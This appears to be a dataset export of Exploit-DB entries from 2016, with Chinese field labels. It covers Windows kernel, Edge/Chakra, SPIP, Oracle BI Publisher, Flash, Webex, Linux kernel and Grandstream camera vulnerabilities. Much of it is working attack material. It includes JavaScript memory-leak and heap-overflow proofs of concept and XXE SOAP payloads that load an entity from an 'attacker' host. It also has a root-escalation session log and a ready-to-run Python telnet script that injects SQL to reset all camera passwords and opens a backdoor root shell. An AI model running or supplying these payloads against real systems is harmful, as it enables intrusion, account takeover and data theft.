QLWD/code_shield huggingface dataset:
标题: Microsoft Windows Kernel - Registry Hive Loading Negative RtlMoveMemory Size in nt!CmpCheckValueList (MS16-124) EDB-ID: 40600 CVE: 2016-0070 类型: DOS 平台: WINDOWS 发布日期: 2016-10-20 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=873

We have encountered Windows kernel crashes in the memmove() function called by nt!CmpCheckValueList while loading corrupted registry hive files. An example of a crash log excerpt generated after triggering the bug is shown below:

---
ATTEMPTED_WRITE_TO_READONLY_MEMORY (be)
An attempt was made to write to readonly memory.  The guilty driver is on the
stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: b008d000, Virtual address for the attempted write.
Arg2: 45752121, PTE contents.
Arg3: a5d9b590, (reserved)
Arg4: 0000000b, (reserved)

Debugging Details:
------------------

[...]

STACK_TEXT:  
a5d9b60c 81820438 b008cb40 b008cb44 fffffffc nt!memmove+0x33
a5d9b670 8181f4f0 ab3709c8 00000000 b008cb34 nt!CmpCheckValueList+0x520
a5d9b6bc 8181fc01 03010001 0000b3b8 00000020 nt!CmpCheckKey+0x661
a5d9b6f4 818206d0 ab3709c8 03010001 00000001 nt!CmpCheckRegistry2+0x89
a5d9b73c 8182308f 03010001 8000057c 80000498 nt!CmCheckRegistry+0xfb
a5d9b798 817f6fa0 a5d9b828 00000002 00000000 nt!CmpInitializeHive+0x55c
a5d9b85c 817f7d85 a5d9bbb8 00000000 a5d9b9f4 nt!CmpInitHiveFromFile+0x1be
a5d9b9c0 817ffaae a5d9bbb8 a5d9ba88 a5d9ba0c nt!CmpCmdHiveOpen+0x50
a5d9bacc 817f83b8 a5d9bb90 a5d9bbb8 00000010 nt!CmLoadKey+0x459
a5d9bc0c 8168edc6 0025fd58 00000000 00000010 nt!NtLoadKeyEx+0x56c
a5d9bc0c 77806bf4 0025fd58 00000000 00000010 nt!KiSystemServicePostCall
WARNING: Frame IP not in any known module. Following frames may be wrong.
0025fdc0 00000000 00000000 00000000 00000000 0x77806bf4
---

The root cause of the bug seems to be that the nt!CmpCheckValueList function miscalculates the number of items to be shifted to the left in an array with 4-byte entries, resulting in the following call:

RtlMoveMemory(&array[x], &array[x + 1], 4 * (--y - x));

Here, the eventual value of the size parameter becomes negative (--y is smaller than x), but is treated by RtlMoveMemory as an unsigned integer, which is way beyond the size of the memory region, resulting in memory corruption. In a majority of observed cases, the specific negative value ended up being 0xfffffffc (-4), but we have also seen a few samples which crashed with size=0xfffffff8 (-8).

The issue reproduces on Windows 7. Considering the huge memory copy size, the crash should manifest both with and without Special Pools enabled. In order to reproduce the problem with the provided samples, it is necessary to load them with a dedicated program which calls the RegLoadAppKey() API.

Attached are three proof of concept hive files.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40600.zip URL: https://www.exploit-db.com/exploits/40600
标题: Microsoft Edge - 'Array.join' Infomation Leak (MS16-119) EDB-ID: 40604 CVE: 2016-7189 类型: DOS 平台: WINDOWS 发布日期: 2016-10-20 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=919

When an array is joined in Chakra, it calls JavascriptArray::JoinArrayHelper, a function that is templated based on the type of the array. This function then calls JavascriptArray::TemplatedGetItem to get each item in the array. If an element is missing from the array, this function will fall back to the array object's prototype, which could contain a getter or a proxy, allowing user script to be executed. This script can have side effects, including changing the type of the array, however JoinArrayHelper will continue running as it's templated type even if this has happened. This can allow object pointers in an array to be read as integers and accessed by a malicious script.

A minimal PoC is as follows:


var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {

      t[0] = {};
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);

A full PoC is attached. One of the alert dialogs contains pointers to JavaScript objects.
-->

<html><body><script>

var y = 0;
var t = new Array(1,2,3);
t.length = 100;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      alert('get!');
      t[0] = {};
      var j = [];
      for(var i = 0; i < 100; i++){
          t[i] = {a : i};
      }
      return 7;
    }
  });

t.__proto__ = o;

var j = [];
var s = j.join.call(t);
alert(s);
var a = s.split(",");
var h = [];
for(item in a){
 var n = parseInt(a[item]);
     if (n < 0){
  n = n + 0x100000000;
     }
 var ss = n.toString(16);
      h.push(ss);
}
alert(h);

</script></body></html> URL: https://www.exploit-db.com/exploits/40604
标题: Microsoft Edge - 'Array.map' Heap Overflow (MS16-119) EDB-ID: 40602 CVE: 2016-7190 类型: DOS 平台: WINDOWS 发布日期: 2016-10-20 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=923

There is a heap overflow in Array.map in Chakra. In Js::JavascriptArray::MapHelper, if the array that is being mapped is a Proxy, ArraySpeciesCreate is used to create the array that the mapped values are copied into. They are then written to the array using DirectSetItemAt, even through there is no guarantee the array is a Var array. If it is actually an int array, it will be shorter than this function expects, causing a heap overflow. A minimal PoC is as follows:

var d = new Array(1,2,3);
class dummy{

 constructor(){
  alert("in constructor");
  return d;
        }

}

var handler = {
    get: function(target, name){

 if(name == "length"){
  return 0x100;
 }
 return {[Symbol.species] : dummy};
    },

    has: function(target, name){
 return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
 return 0x777777777777;

}

var o = a.map.call(p, test);

A full PoC is attached.
-->

<html><body><script>
var b = new Array(1,2,3);
var d = new Array(1,2,3);
class dummy{

 constructor(){
  alert("in constructor");
  return d;
        }

}

var handler = {
    get: function(target, name){

 if(name == "length"){
  return 0x100;
 }
 return {[Symbol.species] : dummy};
    },

    has: function(target, name){
       alert("has " + name);
 return true;
    }
};

var p = new Proxy([], handler);

var a = new Array(1,2,3);

function test(){
 return 0x777777777777;

}


var o = a.map.call(p, test);

var h = [];

for(item in o){

 var n = new Number(o[item]);
 if (n < 0){
  n = n + 0x100000000;
 }
 h.push(n.toString(16));

}

alert(h);

</script></body></html> URL: https://www.exploit-db.com/exploits/40602
标题: SPIP 3.1.2 - Cross-Site Request Forgery EDB-ID: 40597 CVE: 2016-7980 类型: WEBAPPS 平台: PHP 发布日期: 2016-10-20 漏洞利用脚本: ## SPIP 3.1.2 Exec Code Cross-Site Request Forgery (CVE-2016-7980)

### Product Description

SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.

### Vulnerability Description

The vulnerable request to `valider_xml` (see: *SPIP 3.1.2 Template Compiler/Composer PHP Code Execution - CVE-2016-7998*) is vulnerable to Cross-Site Request Forgery, allowing the execution of the CVE-2016-7998 attack by tricking an administrator to open the malicious link.

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-352

**CVSS Base Score**: 8.3 (High)

**CVE-ID**: CVE-2016-7980

### Proof of Concept

    http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/tmp/directory&ext=html

### Timeline (dd/mm/yyyy)

* 15/09/2016 : Initial discovery
* 26/09/2016 : Contact with SPIP Team
* 27/09/2016 : Answer from SPIP Team, sent advisory details
* 28/09/2016 : Fixes issued for CSRF
* 30/09/2016 : SPIP 3.1.3 Released

### Fixes

* https://core.spip.net/projects/spip/repository/revisions/23200
* https://core.spip.net/projects/spip/repository/revisions/23201
* https://core.spip.net/projects/spip/repository/revisions/23202


### Affected versions

* Version <= 3.1.2

### Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)

-- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream URL: https://www.exploit-db.com/exploits/40597
标题: Microsoft Edge - 'Function.apply' Information Leak (MS16-119) EDB-ID: 40603 CVE: 2016-7194 类型: DOS 平台: WINDOWS 发布日期: 2016-10-20 漏洞利用脚本: <!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=920

When Function.apply is called in Chakra, the parameter array is iterated through using JavascriptArray::ForEachItemInRange. This function accepts a templated parameter, hasSideEffect that allows the function to behave safely in the case that iteration has side effects. In JavascriptFunction::CalloutHelper (which is called by Function.apply) this parameter is set to false, even though iterating through the array can have side effects. This can cause an info leak if the side effects cause the array to change types from a numeric array to a variable array. A PoC is as folows and attached. Running this PoC causes an alert dialog with pointers in it.

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
 var n = new Number(a[item]);
 if( n < 0){

 n = n + 0x100000000;
 }
 h.push(n.toString(16)); 
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

-->

<html><body><script>

var t = new Array(1,2,3);

function f(){

var h = [];
var a = [...arguments]
for(item in a){
 var n = new Number(a[item]);
 if( n < 0){

 n = n + 0x100000000;
 }
 h.push(n.toString(16)); 
}

alert(h);
}



var q = f;

t.length = 20;
var o = {};
  Object.defineProperty(o, '3', {
    get: function() {
      var ta = [];
      ta.fill.call(t, "natalie");
      return 5;
    }
  });

t.__proto__ = o;

var j = [];
var s = f.apply(null, t);

</script></body></html> URL: https://www.exploit-db.com/exploits/40603
标题: Oracle BI Publisher 11.1.1.6.0/11.1.1.7.0/11.1.1.9.0/12.2.1.0.0 - XML External Entity Injection EDB-ID: 40590 CVE: 2016-3473 类型: WEBAPPS 平台: XML 发布日期: 2016-10-20 漏洞利用脚本: # Exploit Title: Oracle BI Publisher (formerly XML Publisher) - XML External Entity Injection w/o authentication
# Date: 20\10\2016
# Exploit Author: Jakub Palaczynski
# CVE : CVE-2016-3473
# Vendor Homepage: https://www.oracle.com/
# Version: 11.1.1.6.0, 11.1.1.7.0, 11.1.1.9.0, 12.2.1.0.0
# Info: Previous versions may also be vulnerable.
# Google Dork: inurl:xmlpserver or intitle:"Oracle BI Publisher Enterprise Login"

1. Vulnerable SOAP Action: replyToXML

POST /xmlpserver/services/ServiceGateway HTTP/1.1
Content-Type: text/xml;charset=UTF-8
SOAPAction: #replyToXML
Host: vulnerablehost
Content-Length: 630

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway">
   <soapenv:Header/>
   <soapenv:Body>
      <ser:replyToXML soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML>
      </ser:replyToXML>
   </soapenv:Body>
</soapenv:Envelope>

------------------------------------------------

2. Vulnerable SOAP Action: replyToXMLWithContext

POST /xmlpserver/services/ServiceGateway HTTP/1.1

Content-Type: text/xml;charset=UTF-8

SOAPAction: #replyToXMLWithContext

Host: vulnerablehost

Content-Length: 646



<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://xmlns.oracle.com/oxp/service/service_gateway">

   <soapenv:Header/>

   <soapenv:Body>

      <ser:replyToXMLWithContext soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

         <incomingXML xsi:type="xsd:string"><![CDATA[<?xml version="1.0" encoding="utf-8"?><!DOCTYPE m [ <!ENTITY % remote SYSTEM "http://attacker/file.xml">%remote;]>]]></incomingXML>

      </ser:replyToXMLWithContext>

   </soapenv:Body>

</soapenv:Envelope> URL: https://www.exploit-db.com/exploits/40590
标题: Adobe Flash Player 23.0.0.162 - '.SWF' ConstantPool Critical Memory Corruption EDB-ID: 40510 CVE: 2016-4273 类型: DOS 平台: MULTIPLE 发布日期: 2016-10-12 漏洞利用脚本: #####################################################################################

# Application: Adobe Flash Player
# Platforms: Windows,OSX
# Versions: 23.0.0.162 and earlier
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: October 11, 2016
# CVE-2016-4273
# COSIG-2016-35

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================

Adobe Flash Player (labeled Shockwave Flash in Internet Explorer and Firefox) is a freeware software for using content created
on the Adobe Flash platform, including viewing multimedia, executing rich Internet applications, and streaming video and audio.
Flash Player can run from a web browser as a browser plug-in or on supported mobile devices.[7] Flash Player was created by Macromedia
and has been developed and distributed by Adobe Systems since Adobe acquired Macromedia.

(https://en.wikipedia.org/wiki/Adobe_Flash_Player)

#####################################################################################

============================
2) Rapport de Coordination
============================

2016-05-17: Francis Provencher of COSIG report this vulnerability to Adobe PSIRT;
2016-05-23: Adobe PSIRT confirm this vulnerability;
2016-10-11: Adobe publish a patch (APSB16-32);
2016-10-11: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================

The vulnerability allows a remote attacker to execute malicious code or access to a part of the dynamically allocated memory using a user interaction
visiting a Web page or open a specially crafted SWF file, an attacker is able to create an “out of bound” memory corruption. A file with an “ActionRecord”
structure that contain an invalid “ConstantPool” could lead to remote code execution in the context of the current user.

#####################################################################################

===========
4) POC:
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/10/COSIG-2016-35.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40510.zip

#################################################################################### URL: https://www.exploit-db.com/exploits/40510
标题: Cisco Webex Player T29.10 - '.ARF' Out-of-Bounds Memory Corruption EDB-ID: 40509 CVE: 2016-1415 类型: DOS 平台: WINDOWS 发布日期: 2016-10-12 漏洞利用脚本: #####################################################################################

# Application: Cisco Webex Player
# Platforms: Windows
# Versions: Cisco Webex Meeting Player version T29.10
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: August 31, 2016
# CVE: CVE-2016-1415
# COSIG-2016-34

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#######################################################################################

===================
1) Introduction
===================

Cisco WebEx, formerly WebEx Communications Inc. is a company that provides on-demand collaboration, online meeting, web conferencing and videoconferencing applications. Its products include Meeting Center, Training Center, Event Center, Support Center, Sales Center, MeetMeNow, PCNow, WebEx AIM Pro Business Edition, WebEx WebOffice, and WebEx Connect. All WebEx products are part of the Cisco collaboration portfolio. All Cisco WebEx products are offered by Cisco Systems Inc.

(https://en.wikipedia.org/wiki/WebEx)

#######################################################################################

===================
2) Report Timeline
===================

2016-05-25: Francis Provencher of COSIG report the vulnerability to Cisco PSIRT
2016-06-07: Cisco PSIRT confirm the vulnerability
2016-08-09: Cisco fixed the issue
2016-08-09: Advisory released

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-meetings-player

#######################################################################################

===================
3) Technical details
===================

The flaw exists within the parsing process of an invalid ARF file. An attacker can use this flaw to create an out-of-bound memory corruption which could allow for the execution of arbitrary code in the context of the current process.

#######################################################################################

==========
4) POC
==========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/09/COSIG-2016-34.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40509.zip

####################################################################################### URL: https://www.exploit-db.com/exploits/40509
标题: Cisco Webex Player T29.10 - '.WRF' Use-After-Free Memory Corruption EDB-ID: 40508 CVE: 2016-1464 类型: DOS 平台: WINDOWS 发布日期: 2016-10-12 漏洞利用脚本: #####################################################################################

# Application: Cisco Webex Player
# Platforms: Windows
# Versions: Cisco Webex Meeting Player version T29.10
# Author: Francis Provencher of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: August 31, 2016
# CVE: CVE-2016-1464
# COSIG-2016-33

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#######################################################################################

===================
1) Introduction
===================

Cisco WebEx, formerly WebEx Communications Inc. is a company that provides on-demand collaboration, online meeting, web conferencing and videoconferencing applications. Its products include Meeting Center, Training Center, Event Center, Support Center, Sales Center, MeetMeNow, PCNow, WebEx AIM Pro Business Edition, WebEx WebOffice, and WebEx Connect. All WebEx products are part of the Cisco collaboration portfolio. All Cisco WebEx products are offered by Cisco Systems Inc.

(https://en.wikipedia.org/wiki/WebEx)

#######################################################################################

===================
2) Report Timeline
===================

2016-05-25: Francis Provencher of COSIG report the vulnerability to Cisco PSIRT
2016-06-07: Cisco PSIRT confirm the vulnerability
2016-08-09: Cisco fixed the issue
2016-08-09: Advisory released

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20160831-meetings-player

#######################################################################################

===================
3) Technical details
===================

The specific flaw exists within the parsing process of an invalid JPG in WRF file. An attacker can use this flaw to create a use-after-free memory corruption, which could allow for the execution of arbitrary code in the context of the current process

#######################################################################################

==========
4) POC
==========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/09/COSIG-2016-33.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40508.zip

####################################################################################### URL: https://www.exploit-db.com/exploits/40508
标题: Linux Kernel 4.6.2 (Ubuntu 16.04.1) - 'IP6T_SO_SET_REPLACE' Local Privilege Escalation EDB-ID: 40489 CVE: 2016-4997 类型: LOCAL 平台: LINUX 发布日期: 2016-10-10 漏洞利用脚本: # Exploit Title: Linux kernel <= 4.6.2 - Local Privileges Escalation via IP6T_SO_SET_REPLACE compat setsockopt call
# Date: 2016.10.8
# Exploit Author: Qian Zhang@MarvelTeam Qihoo 360
# Version: Linux kernel <= 4.6.2
# Tested on: Ubuntu 16.04.1 LTS Linux 4.4.0-21-generic
# CVE: CVE-2016-4997
# Reference:http://www.openwall.com/lists/oss-security/2016/09/29/10
# Contact: tyrande000@gmail.com

#DESCRIPTION
#===========
#The IPv6 netfilter subsystem in the Linux kernel through 4.6.2 does not validate certain offset fields,
#which allows local users to escalade privileges via an IP6T_SO_SET_REPLACE compat setsockopt call with ip6_tables module loaded.

zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ls
compile.sh  enjoy  enjoy.c  pwn  pwn.c  version.h
zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ sudo modprobe ip6_tables
[sudo] password for zhang_q: 
zhang_q@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE$ ./pwn 
pwn begin, let the bullets fly . . .
and wait for a minute . . .
pwn over, let's enjoy!
preparing payload . . .
trigger modified tty_release . . .
got root, enjoy :)
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# 
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# hostnamectl 
   Static hostname: ubuntu
         Icon name: computer-vm
           Chassis: vm
        Machine ID: 355cdf4ce8a048288640c2aa933c018f
    Virtualization: vmware
  Operating System: Ubuntu 16.04.1 LTS
            Kernel: Linux 4.4.0-21-generic
      Architecture: x86-64
root@ubuntu:~/ipv6_IP6T_SO_SET_REPLACE# 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40489.zip URL: https://www.exploit-db.com/exploits/40489
标题: Grandsteam GXV3611_HD - SQL Injection EDB-ID: 40441 CVE: 2015-2866 类型: REMOTE 平台: HARDWARE 发布日期: 2016-09-29 漏洞利用脚本: # Exploit Title: Grandstream GXV3611_HD Telnet SQL Injection and backdoor command
# Exploit Author: pizza1337
# Vendor Homepage: http://www.grandstream.com/
# Version: GXV3611_HD Core 1.0.3.6, 1.0.4.3
# GXV3611IR_HD Core 1.0.3.5
# Tested on:
# -GXV3611_HD
#  Bootloader Version:  1.0.0.0
#  Core Version:  1.0.4.3
#  Base Version:  1.0.4.43
#  Firmware Version:  1.0.4.43
# -GXV3611IR_HD
#  Bootloader Version:  1.0.3.5
#  Core Version:        1.0.3.5
#  Base Version:        1.0.3.5
#  Firmware Version:    1.0.3.5
# CVE : CVE-2015-2866
# Category: remote
# More information:
# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-2866
# https://www.kb.cert.org/vuls/id/253708
# Description:
# http://boredhackerblog.blogspot.com/2016/05/hacking-ip-camera-grandstream-gxv3611hd.html
import telnetlib
import sys

if len(sys.argv) < 2:
    print "USAGE: python %s IP_ADDRESS"%sys.argv[0]
    quit()

conn = telnetlib.Telnet(sys.argv[1])
conn.read_until("Username: ")
conn.write("';update user set password='a';--\r\n") #This changes all the passwords to a, including the admin password
conn.read_until("Password: ")
conn.write("nothing\r\n")
conn.read_until("Username: ")
conn.write("admin\r\n")
conn.read_until("Password: ")
conn.write("a\r\n") #Login with the new password
conn.read_until("> ")
conn.write("!#/ port lol\r\n") #Backdoor command triggers telnet server to startup. For some reason, typing "!#/ port" does not seem to work.
conn.read_until("> ")
conn.write("quit\r\n")
conn.close()
print "Telnet into port 20000 with username root and no password to get shell" #There is no login password URL: https://www.exploit-db.com/exploits/40441